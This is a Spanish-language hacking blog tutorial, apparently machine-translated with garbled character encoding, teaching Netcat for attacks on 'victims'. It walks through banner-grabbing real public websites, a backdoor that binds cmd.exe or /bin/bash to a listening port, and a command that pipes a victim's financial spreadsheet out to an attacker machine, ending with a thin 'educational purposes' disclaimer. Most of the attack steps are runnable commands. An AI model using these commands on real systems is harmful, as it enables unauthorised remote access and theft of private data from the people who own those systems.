Cómo usar Netcat: un cuchillo suizo para hackear

Estimado de lectura : 6 minutes

Bienvenido de nuevo, mis hackers!

Durante m√°s de 15 a√Īos, los hackers han estado utilizando una herramienta peque√Īa pero muy poderosa para una amplia gama de tareas.¬†Esta herramienta se llama Netcat, y aunque es bien conocida en los c√≠rculos de hackers, pocas personas la conocen fuera de la comunidad de hackers.¬†Es tan poderoso y √ļtil que muchos lo llaman el “cuchillo hacker suizo”.

En este artículo consideraremos las capacidades de esta herramienta simple y necesaria.

¬ŅQu√© es realmente Netcat?

Netcat fue creado como una herramienta de an√°lisis de red.¬†Fue desarrollado por un hombre del que solo conocemos su apodo: “El Hobbit”.¬†Sin ninguna compensaci√≥n material, transfiri√≥ esta herramienta a la comunidad de TI, por lo que recibi√≥ el merecido respeto y reconocimiento de la comunidad.¬†Gracias el hobbit!

Bueno, dado que esta es una herramienta de análisis, puede usarla para abrir conexiones TCP y UDP entre dos máquinas en cualquier puerto. Se puede usar como una herramienta de escaneo de puertos, similar a nmap, para reenviar puertos, proxy, un servidor web simple y también para abrir una puerta trasera para un hacker.

Veamos algunas de estas características usando el sistema BackTrack.

Paso 1. Abra Netcat

Tan pronto como iniciamos el sistema BackTrack y abrimos la terminal, podemos usar netcat desde cualquier directorio, porque está por defecto en el directorio bin, que se encuentra en nuestra variable de sistema PATH. Entonces, escriba la consola:

nc -h

Como puede ver en la captura de pantalla, la sintaxis b√°sica de netcat es la siguiente.

Para conectarse a otra m√°quina:

  • puerto de direcci√≥n IP de host de opciones nc

Para escuchar las conexiones entrantes:

  • nc -l -p puerto

Paso 2. Usando Netcat para conectarse a un sistema remoto

Usemos netcat para conectarse a un sistema remoto. En este caso, intentaremos conectarnos al servidor web en el puerto 80. Para hacer esto, ingrese:

nc 192.168.1.105 80

Este comando creará una conexión TCP predeterminada para nosotros con un servidor web ubicado en 192.168.1.105 en el puerto 80. Ahora, no importa lo que escribamos en la consola, después de presionar Enter, se enviará directamente al servidor web.

Paso 3. Usa Netcat para “capturar el banner”

Una vez que hemos establecido una conexi√≥n TCP con el servidor web, podemos usar netcat para, como dicen, “agarrar el banner” del servidor web, es decir.¬†Determine qu√© software est√° utilizando la v√≠ctima.

Recuerde que antes de atacar cualquier sistema, necesitamos aprender lo más posible sobre la víctima. Netcat puede ayudarnos con esto capturando los banners que los servidores web transmiten cuando reciben nuevas conexiones.

Ahora que tenemos una conexión establecida, podemos capturar el banner del servidor web escribiendo en la consola:

HEAD / HTTP / 1.0

Tenga cuidado y copie este comando exactamente como se escribió, es decir usando barras y espacios.

Presione Entrar varias veces, y el servidor web responderá con su banner que nos dirá en qué software se está ejecutando. En este caso, vemos que Microsoft IIS 6.0 se está ejecutando en el servidor web.

También podemos usar esta técnica en otros sitios web. Intentemos netcat nuevamente en varios sitios web conocidos y veamos en qué software se ejecutan sus servidores web. Probemos el sitio web wonderhowto.com. Cuando hagamos ping (ping) wonderhowto.com, veremos su dirección IP: 98.129.110.26. Luego podemos ingresar en la consola:

nc 98.129.110.26 80

Una vez recibida la conexión, podemos tomar el banner del servidor web escribiendo:

HEAD / HTTP / 1.0

Y luego debes presionar Enter dos o tres veces.

Como podemos ver, wonderhowto.com se ejecuta en Microsoft-IIS / 7.5.

Si intentamos hacer lo mismo con cnn.com, obtenemos los siguientes resultados:

Curiosamente, cnn.com se ejecuta en nginx, un servidor web de c√≥digo abierto que en muy poco tiempo igual√≥ el n√ļmero total de instalaciones de Microsoft IIS en todo el mundo (pero Apache todav√≠a usa m√°s del 60% de los servidores web del planeta).

Pruebe netcat en otros sitios y descubra en qué servidores se están ejecutando.

Paso 4. Usando Netcat para escuchar conexiones

Ahora prueba netcat como oyente en un sistema remoto. Supongamos que tenemos un servidor que ejecuta Windows en el que instalamos netcat. Ahora podemos ingresar el siguiente comando para decirle a netcat que escuche en el puerto 6996 (puede ser cualquier puerto) en este sistema.

nc -l -p 6996

Este comando cre√≥ un “oyente” al que podemos conectarnos.¬†Tenga en cuenta que en los sistemas Windows podemos ejecutar el mismo comando con L en may√ļsculas y, por lo tanto, crear un “escucha” permanente que funcionar√° incluso si el sistema se reinicia.

Paso 5. Crear una puerta trasera

Ahora cree una puerta trasera en el sistema de la víctima, a la que podamos volver en cualquier momento. El comando será ligeramente diferente dependiendo de si atacamos Linux o Windows.

Para Windows usamos:

nc -l -p 6996 -e cmd.exe

Para Linux usamos;

nc -l -p 6996 -e / bin / bash

Esto abrir√° un “oyente” en el sistema, que traducir√° la ruta de comando de Windows o el shell bash de Linux en el sistema adjunto a trav√©s de s√≠ mismo.¬†Luego en nuestro sistema de ataque ingresamos:

nc 192.168.1.105 6996

Como puede ver, la línea de comandos de Windows se pasó a través de la conexión netcat directamente a nuestro sistema de ataque.

Paso 6. Copiar archivos (exfiltración) del sistema de destino

Netcat tambi√©n se puede utilizar para filtrar (copiar o recibir sin autorizaci√≥n) archivos y datos de una v√≠ctima.¬†Imagine que en el sistema de v√≠ctimas hay algunos datos que realmente necesitamos.¬†Tal vez se trata de alg√ļn tipo de informaci√≥n o informaci√≥n financiera almacenada en una base de datos.¬†Podemos usar una conexi√≥n oculta para copiar lentamente estos datos en nuestro sistema de ataque.¬†En este ejemplo, obtendremos de esta manera un archivo llamado financialprojections.xls, presumiblemente un archivo Excel con pron√≥sticos financieros.

Desde el sistema fuente, ingresamos en la consola:

type financialprojections.xls | nc 192.168.1.104 6996

Este comando dice que asigne el archivo financialprojections.xls y luego lo haga un t√ļnel (|) en netcat (nc) a la direcci√≥n IP 192.168.1.104 a trav√©s del puerto 6996.

Desde el sistema de destino, luego ingresamos:

nc -l -p 6996> financialprojections.xls

Este comando dice crear un “oyente” (l) en el puerto (p) 6996 y luego enviar los datos recibidos en este “oyente” a un archivo llamado financialprojections.xls.

¡La captura de pantalla siguiente muestra que el archivo se copió a través de la conexión netcat a través del puerto 6996 a nuestra computadora atacante!

Estos son solo algunos ejemplos de lo que puede hacer este poderoso programa peque√Īo.¬†¬°Imagina las cosas incre√≠bles que puedes hacer cuando combinas sus caracter√≠sticas con tus habilidades de scripting!

En futuros art√≠culos, veremos otras formas de usar esta peque√Īa herramienta y veremos qu√© m√°s puede ayudar a los hackers exigentes, ¬°as√≠ que aseg√ļrese de regresar!

Descargo de responsabilidad¬†: este art√≠culo est√° escrito solo con fines educativos.¬†El autor o editor no public√≥ este art√≠culo con fines maliciosos.¬†Si los lectores desean utilizar la informaci√≥n para beneficio personal, el autor y el editor no son responsables de ning√ļn da√Īo o da√Īo causado.

Sé el primero en comentar

Deja un comentario o una pregunta, gracias por visitarme.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.